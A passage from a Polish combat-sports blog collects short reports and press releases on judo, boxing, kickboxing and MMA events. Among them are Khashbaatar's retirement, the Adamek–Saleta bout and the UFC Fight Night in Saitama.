Tsagaanbaatar Khashbaatar podjął decyzję o zakończeniu sportowej kariery. 31-letni reprezentant Mongolii ma za sobą bogatą przygodę z judo.

Głównym czynnikiem, który miał wpływ na decyzję Khashbaatara był słaby występ podczas tegorocznych mistrzostw świata w Astanie. Judoka odpadł z rywalizacji już w eliminacjach.

Eksperymentował

Wydaje się, że to właśnie eksperymenty w głównej mierze zadecydowały o postawie zawodnika z Mongolii w ostatnim czasie. Przecież Khashbaatar to jeden z najbardziej rozpoznawalnych mongolskich judoków na świecie, który w swoim dorobku ma medale mistrzostw świata i Igrzysk Olimpijskich. Dodatkowo wcale nie jest wiekowy, co pozwalałoby mu dalej rywalizować na najwyższym poziomie. Khashbaatar ma dopiero 31 lat.

Od pewnego czasu judoka rywalizował w kategorii wagowej 73kg, gdzie odnosił sukcesy. W 2013 roku podczas mistrzostw świata w Tiumeniu stanął na najniższym stopniu podium. Ostatnim jego sukcesem w tej wadze było trzecie miejsce podczas Grand Prix w Astanie w 2013 roku. W międzyczasie Khashbaatar próbował również swoich sił w 81kg. Udało mu się wywalczyć jeden medal w tej wadze. Podczas Grand Prix w Tokio w 2013 ukończył rywalizację na trzecim miejscu.

Raz waga 73kg, raz 81kg, a przecież reprezentant Mongolii swoją przygodę z judo rozpoczynał w kategorii 60kg, a największe sukcesy odnosił w 66kg. Można powiedzieć, że skakał z kwiatka na kwiatek. W ostatnich startach przeważnie decydował się na rywalizację w 73kg, jednak przed mistrzostwami świata w Astanie zmienił swój wybór. Khashbaatar wystartował indywidualnie w 66 kg. Rywalizacja dla 31-latka zakończyła się szybko. Odpadł już w eliminacjach. Na pocieszenie udało mu się wraz z kolegami z reprezentacji wywalczyć brązowy medal w rywalizacji drużynowej.

Zawodnik z sukcesami

Khashbaatar znika z tatami. Podjął decyzję o zakończeniu kariery, ale pozostaje przy judo. 31-latek będzie pełnił rolę członka sztabu szkoleniowego kadry Mongolii. Wydaje się, że to odpowiedni wiek, aby odnosić triumfy na tatami, jednak zawodnik podjął inną decyzję. Choć za rok Igrzyska Olimpijskie w Rio żegna się ze sportową karierą, a złota olimpijskiego w swojej kolekcji nie ma. Być może zdecyduje się wrócić, ale to tylko przypuszczenia.

Spójrzmy w dokonania Khashbaatara. Jego pierwszym znaczącym sukcesem był brązowy medal Igrzysk Olimpijskich w Atenach w kategorii 60kg. Khashbaatar zdobył również tytuł mistrza świata. W 2009 roku w Rotterdamie sięgnął po złoto w kategorii 66kg. Wielokrotnie zdobywał również miejsca na podium w rywalizacji na kontynencie azjatyckim oraz w zawodach Grand Slam.

W Astanie liczył na kolejny medal w kategorii, w której radził sobie najlepiej. Indywidualnie mu się nie udało, ale w drużynie sięgnął po medal. Mongolia uplasowała się za Japonią oraz Koreą Południową. Łącznie judocy z Ułan Bator w Astanie sięgnęli po cztery medale, wszystkie koloru brązowego.

KM

Posted in Bez kategorii

Grand Prix w Taszkiencie – "Srebrne" judoczki wracają na tatami.

Dwie polskie drużynowe wicemistrzynie świata w judo – Katarzyna Kłys (-70 kg) i Katarzyna Furmanek (+78 kg) startować będą od 1 do 3 października w zawodach Grand Prix w Taszkiencie. Transmisje codziennie na żywo w telewizji FightKlub od g. 14:00. Od Mistrzostw Świata w Astanie, gdzie Polki zdobyły srebrny medal po finale z Japonią (0-5), minął miesiąc. Większość czołowych zawodniczek w tym czasie nigdzie nie startowała, szykując formę na jesienne turnieje w kwalifikacjach olimpijskich. Od zawodów w Uzbekistanie rozpoczyna się decydujący etap walki o Igrzyska w Rio de Janeiro. W Taszkiencie startować będą Katarzyna Kłys (-70 kg) i Katarzyna Furmanek (+78 kg) oraz Jakub Kubieniec (-81 kg), Patryk Ciechomski (-90 kg) i Maciej Sarnacki (+100 kg). O kolejne punkty do rankingu walczyć będzie też sędzia Sławomir Kownacki, prezes Polskiego Związku Judo. Na liście zgłoszeń jest złota medalistka MŚ w Kazachstanie Chinka Yu Song (+100 kg), z którą w tym roku już raz wygrała Katarzyna Furmanek. – Z całych sił będę walczyła do końca kwalifikacji o bilet na przyszłoroczną olimpiadę – mówi polska judoczka. W 2014 roku w GP w Uzbekistanie Polki wywalczyły aż 3 medale – złoty Daria Pogorzelec (-78 kg), a brązowe Arleta Podolak (-57 kg) i Katarzyna Kłys (-70 kg). Dwie pierwsze tym razem nie będą startowały w Taszkiencie, gdyż wyjechały na Igrzyska Wojskowe. Zawody rozgrywane są raz na 4 lata, a tym razem organizatorem jest Korea Południowa. Przed własną publicznością faworytami 3-dniowego turnieju będą judocy z Uzbekistanu. W 2013 roku w pierwszej edycji GP w swoim państwie wygrali rywalizację aż w 5 kategoriach wagowych. Przed rokiem zwyciężył już tylko Rishod Sobirov (-66 kg). W tegorocznych MŚ zdobył brązowy medal, co było największym sukcesem reprezentacji Uzbekistanu.

Źródło: materiały prasowe

Posted in Bez kategorii

Bokserski mega hit 4 października w FightKlubie!

Zapraszamy na transmisję z gali HBO w StubHub Center w Carson, gdzie w głównej walce wieczoru argentyński puncher Lucas Matthysse (37-3, 34 KO) zmierzy się z niepokonanym ukraińskim prospektem Wiktorem Postołem (27-0, 11 KO) w pojedynku, którego stawką będzie mistrzostwo świata WBC w kategorii super lekkiej. Lucas Matthysse to żywe uosobienie argentyńskiego temperamentu i ducha walki. "La Maquina" (Maszyna) wchodząc do ringu zawsze wnosi niepisaną gwarancje emocjonującego widowiska. W ostatnim występie 32-latek urodzony w Trelewie wygrał niezapomnianą bitwę z Rosjaninem Rusłanem Prowodnikowem, która zagwarantowała mu pozycję obowiązkowego pretendenta do tytułu WBC w kategorii super lekkiej. Wcześniej Argentyńczyk był posiadaczem pasa tejże organizacji w wersji "Interim" stoczył jego dwie skuteczne obrony, nokautując między innymi już w trzeciej rundzie byłego mistrza świata Lamonta Petersona. Wiktor Postoł to z kolei objawienie Europy Środkowo-Wschodniej. 31-letni Ukrainiec o przydomku "Iceman" (Człowiek z Lodu) z bezwzględną i zimną skutecznością odprawia z kwitkiem kolejnych rywali. Bilans 27-0 robi wrażenie i chociaż bokser z Kijowa ma na koncie "tylko" 11 nokautów, to wygrywając w zeszłym roku przed czasem z Turkiem Selcukiem Aydinem udowodnił, że kiedy stawka jest wysoka, moc jego uderzenia również nie zawodzi. To właśnie morderczy prawy podbródkowy, dzięki któremu kandydował do miana nokautu roku zagwarantował mu pozycję obowiązkowego pretendenta do tytułu WBC i ostatecznie pojedynek z argentyńską "Maszyną". W głównej przedwalce gali spod szyldu HBO zobaczymy bardzo interesujący pojedynek wschodzącego Meksykanina Antonio Orozco (22-0, 15 KO) z doświadczonym rodakiem i eks-mistrzem świata Humberto Soto (65-8-2, 35 KO). To wewnątrz-meksykańskie starcie powinno być równie elektryzujące co walka wieczoru. Transmisja z bokserskiego święta w Carson tylko w FightKlubie. Zarezerwujcie sobie niedzielny poranek (g. 04:15) – powtórka o 11:30, tego nie można przegapić!

Źródło: materiały prasowe

Posted in Bez kategorii

Kolejne mistrzowskie starcie?

Coraz większą uwagę kibiców przyciągają walki polsko-polskie. Zaczyna się mówić o pojedynku Tomasza Adamka z Krzysztofem „Diablo” Włodarczykiem. Czy to starcie jest możliwe?

Włodarczyk nie walczył od września ubiegłego roku, kiedy to w Moskwie stracił pas WBC w wadze junior średniej na rzecz Grigorija Drozda. Z kolei Adamek w ostatnim czasie notuje występy poniżej oczekiwań.

Pokonał Saletę

Co prawda „Góral” podczas ostatniej gali Polsat Boxing Night w Łodzi pokonał Przemysława Saletę, jednak ten pojedynek trudno określać jako starcie na szczycie. Rzecz jasna, że sama walka przyciągnęła uwagę kibiców i wzbudziła spore zainteresowanie, ale o jej wartości decydowały nazwiska. Trudno cokolwiek powiedzieć o możliwościach 47-letniego Salety, który musiał zakończyć pojedynek z powodu kontuzji barku. Dodatkowo były mistrz Europy w wadze ciężkiej walczy okazyjnie. Po siedmiu latach wrócił na ring, aby zmierzyć się z Andrzejem Gołotą i wygrał. Upłynęły dwa lata i spotkał się z Adamkiem.

„Góral” nadal jest czynnym pięściarzem, który cztery lata temu walczył o mistrzostwo świata w wadze ciężkiej z Witalijem Kliczko. Porażka w starciu z Ukraińcem sprawiła, że musiał odbudować swoją pozycję. Polak wygrał pięć walk, ale Wiaczesław Głazkov powstrzymał Adamka i zaczęły pojawiać się pytania o jego przyszłość. „Góral” był mistrzem w wadze półciężkiej oraz juniociężkiej. Wielu z przymrużeniem oka patrzyło na jego chęć rywalizacji w kategorii królewskiej. Dzięki uporowi, ciężkiej pracy i ambicji doszedł do walki o pas, jednak później brakowało mu świeżości.

Wrócił do Polski i stoczył walkę o miano najlepszego polskiego „ciężkiego” z Arturem Szpilką. Przegrał. Wydawało się, że jego przygoda z boksem dobiega końca. Adamek zdecydował się na walkę z Saletą i wygrał. Okazuje się, że niewykluczone są jego kolejne pojedynki. Tyle tylko, że „Góral” myśli o poważnych rywalach. Od razu przed oczami pojawił się Artur Szpilka, ale on jest na innym etapie kariery i walka z Adamkiem nie jest mu potrzebna. Może Włodarczyk?

Rok bez boksu

„Diablo” czeka na kolejną walkę już rok. We wrześniu 2014 roku stracił w Moskwie pas mistrzowski. Miał stoczyć pojedynek rewanżowy z Drozdem, jednak w związku z chorobą nie mógł pojawić się na ringu. Zastąpił go Łukasz Janik, ale musiał uznać wyższość Rosjanina.

Włodarczyk w tym roku ma pojawić się w ringu. Były mistrz świata podkreśla, że w boksie nie powiedział jeszcze ostatniego słowa. Kolejne starcie polsko-polskie, czyli gala Polsat Boxing Night, planowana jest na przyszły rok. Wtedy mogłoby dojść do starcia Adamek-Włodarczyk.

Czy to realne? Obecnie są to tylko spekulacje. Obaj są w podobnym wieku, mają za sobą bogate doświadczenia, które okrasili mistrzowskimi pasami. Tylko Włodarczyk musiałby przybrać trochę na wadze. Wydaje się, że mogłoby to być najciekawsze starcie polsko-polskie ostatnich lat.

KM

Posted in Bez kategorii

Khan celuje w Pacquiao

Amir Khan ma duże ambicje. Brytyjczyk chce wejść na sam szczyt. Na kolejnego rywala upatrzył sobie Manny Pacquiao.

Mimo wszystko Khan nadal liczy na pojedynek z Floydem Mayweatherem Jr, jednak ten zakończył już karierę. Mimo to 29-latek liczy, że kiedyś uda mu się zmierzyć z Amerykaninem.

Nieugięty

Khan przyzwyczaił, że jest jednym z tych bokserów, którzy lubią robić dużo zamieszania wokół siebie. Z drugiej strony Brytyjczyk stara się dbać o swój interes i działa tak, aby zrealizować swoje zamiary. Czy tym razem mu się uda?

Jak zapewnia jego starcie z Manny Pacquiao jest niemal pewne. Do pojedynku Khana z Filipińczykiem miałoby dojść w lutym bądź kwietniu przyszłego roku. Brytyjczyk w 2015 roku stoczył jeden pojedynek, na punkty pokonał Chrisa Algieriego. Złe czasy dla Khana już minęły. Cztery lata temu przegrał z Lamontem Petersonem, a w kolejnej walce na deski powalił go Danny Garcia. Jednak to tylko złe wspomnienia. Khan wygrał pięć kolejnych walk, zdobył pas WBC silver w kategorii półśredniej.

Brytyjczyk stara się przebić do czołówki i robi wszystko, aby znaleźć się na szczycie, gdzie gra toczy się o najwyższą stawkę. Khan wierzy w swoje umiejętności. Ewentualny pojedynek z Pacquiao może zweryfikować potencjał 29-latka. Filipińczyk w tym roku stoczył walkę XXI wieku z Floydem Mayweatherem Jr, po której dochodzi do pełni sił. Pacquiao nabawił się kontuzji i robi wszystko, aby wrócić na ring, ale pojawiają się głosy, że będzie to powrót chwilowy. Ponoć popularny „Pacman” chce postawić na karierę polityczną.

Czy Pacquiao zmierzy się z Khanem? Brytyjczyk zapewnia, że wszystko jest na dobrej drodze. – Prowadzimy negocjacje z Bobem Arumem i do tej pory wszystko idzie zgodnie z planem. Trwają rozmowy kontraktowe. Jeśli dojdzie do porozumienia zmierzę się z Manny Pacquiao. Znamy się dobrze, trenowaliśmy i sparowaliśmy ze sobą. Pytanie, kiedy on będzie gotowy do walki. Być może dojdzie do niej w lutym lub kwietniu 2016 roku. Jeśli się dogadamy to w tym roku nie zaprezentuję się w ringu – opisuje Khan.

Mayweather celem

Brytyjczyk cały czas stara się, aby doszło do jego walki z Mayweatherem. Gdy toczyły się negocjacje przed pojedynkiem Amerykanina z Pacquiao, Khan zawsze wtrącał swoje trzy grosze.

„Money” zakończył karierę, ale 29-latek liczy, że być może wróci na ring, aby zmierzyć się właśnie z nim. – Jeśli pokonam Pacquiao to może Mayweather zdecyduje się wrócić i wejdzie ze mną do ringu. Sądzę, że Floyd uważa mnie za zbyt mocnego rywala. Nie wydaje mi się, aby kiedykolwiek zdecydował się ze mną walczyć. Sprawiłbym mu zbyt wiele problemów – mówi Khan.

KM

Posted in Bez kategorii

Ćwierćfinałowa wygrana Turyńskiego

Okres jesienno-zimowy z galami King of Kings World Grad Prix w kickboxingu zapowiada się ciekawie. W Kiszyniowie odbyła się pierwsza z czterech zaplanowanych imprez. Z dobrej strony pokazał się Michał Turyński.

W Kiszyniowie zaprezentowało się jeszcze dwóch zawodników z Polski – Dariusz Skoczek i Dawid Mirkowski. Jak sobie radzili?

Zawodnicy z Mołdawii lepsi

Dariusz Skoczek miał okazję zaprezentować się w turnieju w wadze 65kg, które miała wyłonić pretendenta do tytułu mistrzowskiego organizacji. Niestety, Polak nim nie będzie.

Broniący barw warszawskiego klubu GMTG w półfinale trafił na Stanislava Renitę. Mołdawianin w oczach ekspertów był faworytem całego turnieju, jednak Skoczek nie zamierzał ustępować rywalowi. Polak starał się i atakował, aby udowodnić swoją wartość. Miał świadomość, że nokaut będzie najlepszym rozwiązaniem i da mu wygraną. W przypadku rozstrzygnięcia punktowego większe szanse miał Renita. Jednak zabiegi Skoczka nie przyniosły zamierzonego efektu. Rywal okazał się twardy. Renita zwyciężył w oczach sędziów i mógł czekać na finałowe starcie. W decydującym boju Mołdawianin spotkał się z Igorem Osininem. Litwin w półfinale musiał pokonać Andrea Serrę i w tym przypadku okazał się lepszy dzięki wytrzymałości. O dziesięć lat starszy Włoch nie był w stanie dorównać młodszemu rywalowi. W finale swoją wartość potwierdził Renita. Choć nie znokautował Litwina to sędziowie nie mieli wątpliwości i jednoznacznie wskazali zwycięstwo zawodnika z Mołdawii.

W Kiszyniowie na zawodowym ringu miał okazję zadebiutować Dawid Mirkowski. 18-latek stanął naprzeciw Alexandra Prepelity w limicie 71kg. Mołdawianin zbiera doświadczenie i niecałe pół roku temu stoczył pierwszą walkę. Mirkowski nie przestraszył się rywala, który w poprzednim pojedynku pokazał, że potrafi być efektowny. Polak przegrał w pierwszej rundzie, ale później pokazał ogromną wolę walki. W trzeciej odsłonie wypracował sobie przewagę, ale to było za mało. Prepelita wygrał decyzją sędziów – 2:1.

Turyński w półfinale

Podczas gali w Kiszyniowie doszło do ćwierćfinałowych walk w turnieju wagi ciężkiej (+93kg). Swój pojedynek stoczył Michał Turyński.

Rywalem Polaka był Vladimir Tok, który jest posiadaczem mistrzowskiego pasa organizacji. Wydawało się, że Turyński stoi na straconej pozycji, jednak udowodnił, że nikogo nie można przedwcześnie skreślać. Polak doskonale rozpracował Niemca i narzucił dobre tempo. Turyński skutecznie punktował rywala, a w końcówce pozwolił sobie na kolano z wyskoku, które doszło do celu. Niemiec starał się atakować, aby rozstrzygnąć walkę przed czasem, jednak polski fighter znakomicie się bronił. Skazywany na porażkę Turyński okazał się lepszy.

W innym ćwierćfinale Dimtry Bezus zremisował z Maximem Bolotovem. Julius Mocka pokonał Sebastiana Ciobanu, a Stepan Kyrlig wygrał z Emidio Barone. Triumfował Tomas Hron, który w drugiej rundzie rozprawił się z Colinem George’m. Pavel Zhuravlev okazał się lepszy od Freddiego Kemayo.

KM

Posted in Bez kategorii

Kasperski wraca ze złotem

Puchar Europy WAKO w Pradze szczęśliwy dla Dawida Kasperskiego. Zawodnik Punchera Wrocław wywalczył w stolicy Czech złoty medal.

Nasi fighterzy pokazali się w Pradze z bardzo dobrej strony. Po raz kolejny potwierdziło się, że polski kickboxing stoi na wysokim poziomie.

Kasperski po raz drugi

Nie ulega wątpliwości, że Dawid Kasperski ma ogromny potencjał. Reprezentujący barwy Punchera Wrocław zawodnik na każdym kroku potwierdza swoje umiejętności. Kasperski na poziomie amatorskim wywalczył złoto w Pucharze Świata w Szeged. Na arenie krajowej dominuje nadal w kategorii 86kg. Kasperski robi doskonałą reklamę Polsce podczas występów na galach największych organizacji. W 2014 roku wszedł na szczyt. Kasperski triumfował na prestiżowej gali organizacji Superkombat.

Z Pragi nasz fighter po raz kolejny wraca ze złotym medalem. W pojedynku o triumf w kategorii 86kg spotkał się z przeciwnikiem, którego doskonale zna. Kasperski już wcześniej rywalizował z Patrykiem Zdrojewskim i obaj udowodnili, że ich pojedynki są ciekawe, pełne wymian oraz efektowności. Tym razem triumfował Kasperski.

Podczas zawodów w Pradze doszło do jeszcze jednego polskiego pojedynku. W kategorii 81kg o triumf rywalizował Arkadiusz Kaszuba oraz Łukasz Dołbień. Ze zwycięstwa mógł się cieszyć rzeszowianin.

Olszewski również najlepszy

Wszyscy znają historię trzech muszkieterów. Można powiedzieć, że Pragę zdobyło trzech polskich muszkieterów. Triumfowali Kasperski, Kaszuba i Krzysztof Olszewski. Trenujący w warszawskiej Palestrze zawodnik rywalizował w kategorii 60kg. W finale Polak trafił na Tomasa Tadlanka. Reprezentant gospodarzy nie sprostał wymaganiom, które postawił przed nim Olszewski. Zawodnik warszawskiej Palestry okazał się lepszy i mógł wznieść ręce w geście triumfu.

Polacy mieli więcej szans na złote medale, ale pozostałe finałowe pojedynki nie potoczyły się po myśli naszych zawodników. Magdalena Rak w kategorii 60kg musiała uznać wyższość Lucie Cmarowej. Z kolei Daniel Kolasiński w 75kg uległ Markowi Prochazce. Fenci Vilem pokonał Michała Bławdziewicza w kategorii +91kg.

Warto zauważyć, że w aż czterech finałach o triumf walczyli zawodnicy reprezentujący warszawską Palestrę. Triumfował tylko Krzysztof Olszewski. Bławdziewicz, Kolasiński i Dołbień wracają do Polski ze srebrnymi medalami. Rywalizacja w Pradze pokazała, że Polacy są w dobrej formie i w regionie Europy Środkowo-Wschodniej są nacją silną i znającą się na kickboxingu.

W stolicy Czech rozegrano piętnaście finałów, a w sześciu w nich wystąpili Polacy. Po raz kolejny otrzymaliśmy dowód, że biało-czerwoni są mocni.

Warto przypomnieć, że już 24 października rozpoczną się mistrzostwa świata WAKO w Serbii w formułach Low Kick, Kick Light i K-1 Rules. Wśród zgłoszonych (na obecną chwilę) są m.in. Michał Bławdziewicz, Kamil Ruta czy Jerzy Wroński. Czy Polacy po raz kolejny przywiozą worek medali z czempionatu?

KM

Posted in Bez kategorii

Najpierw Jessica, a potem Ronda?

Taki plan ma Julianna Pena. Choć stoczy dopiero trzeci pojedynek w UFC to już ma zakusy, aby walczyć o mistrzowski pas organizacji.

Pena podczas gali UFC 192 zmierzy się z Jessicą Eye. Popularna „Evil” w ostatnim czasie przeżywa kryzys.

Penna idzie po zwycięstwo

26-letnia fighterka trafiła do UFC w 2013 roku. Co dziwne wcześniej poniosła dwie porażki, a mimo to przekonała do siebie włodarzy najlepszej organizacji mieszanych sztuk walki na świecie. Jakie argumenty przemawiały za jej angażem? Z pewnością istotna była efektywność i widowiskowość. Do tej pory Pena wygrywa tylko i wyłącznie przed czasem, a to przykuwa uwagę oraz buduje zainteresowanie.

Dotychczas 26-latka stoczyła w UFC dwa pojedynki. W debiucie zmierzyła się z Jessicą Rakoczy. 30 listopada 2013 roku pokazała światu, że w amerykańskiej organizacji czuje się jak ryba w wodzie. Triumfowała już w pierwszej rundzie. Pena ciosami zdominowała swoją rywalkę i odniosła przekonujące zwycięstwo. W kwietniu 2015 roku stanęła przed kolejnym wyzwaniem. Milana Dudieva po czterech minutach pojedynku nie była w stanie kontynuować rywalizacji.

Teraz Pena zmierzy się Jessicą Eye, dla której będzie to piąty pojedynek w UFC. Wcześniej 29-letnia „Evil” z powodzeniem występowała w Bellatorze. Jednak ostatnio Eye prezentuje się przeciętnie. W ostatniej walce wytrzymała trzy rundy z Mieshą Tate. Sędziowie uznali, że Eye nie zasługuje na zwycięstwo. Eye ma ujemy bilans w UFC. Co prawda stoczyła dla organizacji cztery pojedynki, ale jeden został określony jako „no contest”. Stąd należy uwzględnić trzy walki, z których dwie zakończyły się jej porażkami. „Evil” nie jest też tak efektowna jak jej najbliższa rywalka, gdyż w większości wygrywa decyzją sędziów. Wychodzi na to, że Pena jest faworytką, ale to Eye ma większe doświadczenie.

Wygrana i czas na Rondę

Z jednej strony ważny jest potencjał sportowy, a z drugiej marketingowy. Albo upraszczając: niewyparzony język często pomaga. Czy Pena wykorzysta ten atut?

Teoretycznie Amerykanka nie może doczekać się pojedynku z Jessicą Eye, ale w jej słowach pojawia się nazwisko mistrzyni UFC w wadze koguciej Rondy Rousey. Była judoczka w listopadzie zmierzy się z Holly Holm. Być może Pena chce być kolejną rywalką mistrzyni. – Chcę, żeby Ronda miała przeświadczenie, że zasłużyłam na ten pojedynek. Tę walkę chcą zobaczyć fani. Cieszę się na myśl o tej walce, ale teraz najważniejszy jest pojedynek z Jessicą Eye i to jest główny punkt moich działań. Żadne starcie nie jest łatwe. Nie myślę o Rondzie. Skupiam się na walce, która czeka mnie 3 października z Jessicą Eye – tłumaczy 26-letnia Amerykanka.

Kiedy spełnią się marzenia Peny? Musi cierpliwie czekać na swoją kolej.

Fot. sherdog

 

KM

Posted in Bez kategorii

Wysyp medali w Warszawie

Młodzi Polacy udowodnili swoją klasę, a kolejna edycja Warsaw Judo Open pokazała, że impreza ma ogromny potencjał. Sportowy, ale również marketingowy.

Powoli judo staje się jedną z chętniej uprawianych dyscyplin sportowych przez dzieci i młodzież. Warto podkreślić fakt, że w tym roku Warsaw Judo Open po raz kolejny cieszyło się ogromnym zainteresowaniem. W zawodach wzięło udział 1069 zawodników.

Impreza z potencjałem

To nie ulega najmniejszej wątpliwości. Skoro przyjeżdżają do nas młodzi adepci judo z różnych krajów świadczy to z jednej strony o chęci rywalizacji, a z drugiej pokazuje zaufanie. Warsaw Judo Open nie było organizowane po raz pierwszy. Impreza ma już swoją renomę i z każdym rokiem rozwija się. Ponad 1000 zawodników na tatami to wynik godny pochwalenia.

Gdzie jest problem? Z pewnością warto zwrócić uwagę na zróżnicowanie klasy judoków, którzy podejmują rywalizację. Uwarunkowania wiekowe i poziom umiejętności to jedno, ale problemem jest ilość urazów. W dużej mierze wynika to z przygotowania do walki.

Impreza będzie się rozwijała, zainteresowanie zawodników jest coraz większe, Warsaw Judo Open organizowane jest w stolicy Polski. Konieczne jest zapewnienie właściwych warunków i wejście na wyższy poziom. Po pierwsze, trzeba wprowadzić limity startujących, żeby rywalizacja była bardziej efektowna. Ilość nie zawsze znaczy jakość, a przede wszystkim trzeba zwrócić uwagę na fakt, że zawody trwają zaledwie dwa dni. Tak naprawdę robi się jeden wielki ścisk. Istnieje możliwość wydłużenia rywalizacji bądź ograniczenia liczby startujących. Po drugie, trzeba zrobić wszystko, żeby zawody były świętem judo. Chodzi o zapełnienie trybun podczas finałów i popularyzację dyscypliny. Kolejne zawody organizowane są w Polsce, dlatego też warto pokazać światu, że nasz kraj jest gotowy na takie wyzwania.

Polacy uczą się

Warsaw Judo Open daje możliwość rozwoju młodym adeptom judo. Polacy okazali się najlepsi podczas tegorocznego startu i poprawili wynik z poprzedniego roku. Biało-czerwoni zgarnęli dwadzieścia trzy złote medale. Wśród startujących nie zabrakło zawodników z Holandii, Niemiec, Litwy, Łotwy, Słowacji, Białorusi, Rosji, Ukrainy, Węgier, Republiki Czeskiej, Azerbejdżanu.

Najwięcej judoków wystartowało w kategorii U17 wśród chłopców – 327. Wśród dziewcząt najwięcej uczestniczek odnotowano w tej samej kategorii – 123. Od razu rzuca się w oczy fakt, że w Warszawie wystąpiło więcej judoków niż judoczek. Warto podkreślić, że ten stan utrzymuje się od dłuższego czasu i występuje również na poziomie seniorskim.

Pozostaje zatem czekać do przyszłego roku i liczyć, że zawody dostarczą wielu emocji oraz po raz kolejny skupią zawodników z różnych krajów. Czy Warszawa ponownie przyciągnie rzesze młodych adeptów judo? To się okaże. Pewne jest, że turniej Warsaw Open Judo na stałe wpisał się w mapę wydarzeń sportowych wśród młodych adeptów judo w Polsce i nie tylko.

KM

Posted in Bez kategorii

Adamek ponownie w glorii chwały

Wydawało się, że po porażce z Arturem Szpilką czas Tomasza Adamka skończył się. „Góral” raz jeszcze spróbował swoich sił. Adamek okazał się lepszy od Przemysława Salety podczas gali w Łodzi.

Na długo przed pojedynkiem spekulowano o jego jakości. W ringu mieli się spotkać pięściarze z dwóch różnych epok i o odmiennych predyspozycjach. Starszy o osiem lat Saleta nie znalazł sposobu na szybszego Adamka.

Ból był silniejszy

Tomasz Adamek był o krok od zakończenia kariery. Rękawice odwieszał już po porażkach z Wiaczesławem Głazkowem, a następnie Arturem Szpilką. „Góral” skusił się jeszcze na walkę z Saletą, który od boksu zrobił sobie przerwę, ale dwa lata temu wrócił, aby spotkać się w ringu z Andrzejem Gołotą.

Głównym czynnikiem, który zadecydował o przewadze Adamka była szybkość. Co prawa Saleta bronił się, ale nie wyprowadzał zbyt wielu ciosów. Przez dwie pierwsze rundy „Góral” w pełni kontrolował pojedynek i celnie trafiał swojego przeciwnika. W trzeciej odsłonie zarysowała się lekka przewaga Salety, jednak w czwartej 47-latek zasłaniał lewy bark. Jak się okazało ból był zbyt silny. Saleta po piątej rundzie poddał się.

Adamek zanotował pięćdziesiąte zwycięstwo w karierze. Czy zobaczymy go jeszcze w ringu? To się okaże. Salety najprawdopodobniej już nie.

Najlepsza Brodnicka

Już wszystko jasne. Kibice pięściarstwa w Polsce poznali królową boksu. Tytuł należy do Ewy Brodnickiej, która podczas gali w Łodzi na punkty pokonała Ewę Piątkowską.

Choć pojedynek nie zaczął się po myśli 31-letniej bokserki. Już w pierwszej rundzie Brodnicka znalazła się na deskach, kiedy to Piątkowska zaskoczyła ją sprytnym ciosem. „Tygrysica” chciała dopaść do rywalki i rozstrzygnąć pojedynek już na samym początku, jednak gong uniemożliwił jej realizację planu. Piątkowska nadawała ton walce, a Brodnicka dopiero w czwartej odsłonie wróciła do gry. W piątej rundzie po mocnym prawym rywalki „Tygrysica” zachwiała się.

Piątkowska chciała wygrać przez nokaut, ale Brodnicka nie dała się już zaskoczyć. Pod koniec pojedynku przeważała 31-latka. Werdykt sędziów nie był jednogłośny. Dwóch z nich punktowało 77:75 dla Brodnickiej, jeden 79:73 dla Piątkowskiej.

Przegrana Rekowskiego

Wydawało się, że Marcin Rekowski upora się z Nagy’m Aguilerą. Pojedynek układał się po myśli Polaka, ale tylko do czasu. Na początek Aguilera wstrząsnął „Rexem”, który już w pierwszej rundzie padł na deski, jednak z upływającym czasem to Rekowski decydował o obliczu pojedynku. W ósmej rundzie Aguilera leżał na deskach. Rekowski prowadził na punkty, jednak na sekundy przed końcem otrzymał potężny cios, który nim zachwiał. Co dziwne, sędzia rozpoczął liczenie na stojąco i zakończył pojedynek. Werdykt wzbudził wiele kontrowersji.

Podobnie jak w starciu Macieja Miszkina z Tomaszem Gargułą. „Hadsome” od początku dominował i wydawało się pewne, że pojedynek zakończy się przed czasem. W czwartej rundzie po serii ciosów arbiter zaczął liczyć Gargułę. Miszkin wygrał.

Michał Cieślak pokazał klasę i znokautował Shawna Coxa. Na punkty wygrali Dariusz Sęk i Kamil Szeremeta.

KM

Posted in Bez kategorii

Barnett królował w Japonii

Gala UFC Fight Night 75 szczęśliwa dla Josha Barnetta. Były mistrz amerykańskiej organizacji pokonał Roya Nelsona.

W Saitamie spotkało się dwóch wiekowych fighterów. Barnett ma trzydzieści siedem lat, a Nelson jest o dwa lata starszy. Obaj chcieli poprawić swoje nastroje. Barnett przystępował do gali w Japonii po przegranej z Travisem Brownem i zarazem był to jego powrót po prawie dwuletniej przerwie. Z kolei Nelson miał za sobą dwie porażki.

Szukali sposobu

Waga ciężka rządzi się swoimi prawami. Tu jeden cios może decydować o wszystkim. Barnett i Nelson okazali się długodystansowcami i prezentowali swoje umiejętności przez pięć rund.

W głównej mierze walka toczyła się w stójce. Zarówno jeden jak i drugi szukali sposobu, aby zachwiać swoim rywalem. Zawodnicy klinczowali, starali się wypracować przewagę i czekali na odpowiedni moment. Raz przeważał Barnett, a chwilę później wszystkie karty w ręku miał Nelson. „Big Country” zwłaszcza przy siatce szukał możliwości ciosu z góry, którym mógłby zakończyć pojedynek. Doświadczeni zawodnicy okazali się niezwykle wytrzymali. W ostatniej rundzie dobrą pracę w klinczu wykonał Barnett, który przeważał i tym samym zdobywał cenne punkty. Na kilkadziesiąt sekund przed końcem do szturmowych ataków ruszył Nelson, ale bez efektu.

O wszystkim decydowali sędziowie. Dwóch z nich widziało wyrównaną walkę -48:47, ale z minimalnym wskazaniem na Barnetta. Jeden z arbitrów wyraźnie podkreślił zwycięstwo 37-latka – 50:45.

Jamajczyk dał radę

Mało, kto spodziewał się takiego rozstrzygnięcia, a wielu obserwatorów przed pojedynkiem zastanawiało się nad szansami Urijaha Halla. Okazało się, że Jamajczyk potrafi sobie poradzić w mocnym rywalem.

Gegard Mousasi rozpoczął pojedynek zgodnie z planem. Pierwsza runda w pełni należała do niego. Mousasi obalał rywala i z góry słał w jego stronę ciosy, co pozwalało mu decydować o obliczu walki i zyskiwać przewagę. Wydawało się, że Hall jest bezradny. Druga runda zmieniła oblicze tego pojedynku. Hall pokazał wysokie umiejętności i zaskoczył Holendra oraz widzów. Kopnięciem obrotowym z wyskoku Jamajczyk poważnie osłabił swojego rywala, a na matę posłał go po trafieniu kolanem w głowę. Hall znalazł się w komfortowej sytuacji i teraz wszystko było w jego rękach. Rywal był bezradny, a Jamajczyk słał kolejne ciosy w stronę Holendra. Arbiter widząc, że Mousasi nie jest w stanie odpowiedzieć przerwał pojedynek. Po werdykcie Holender miał pretensje do sędziego.

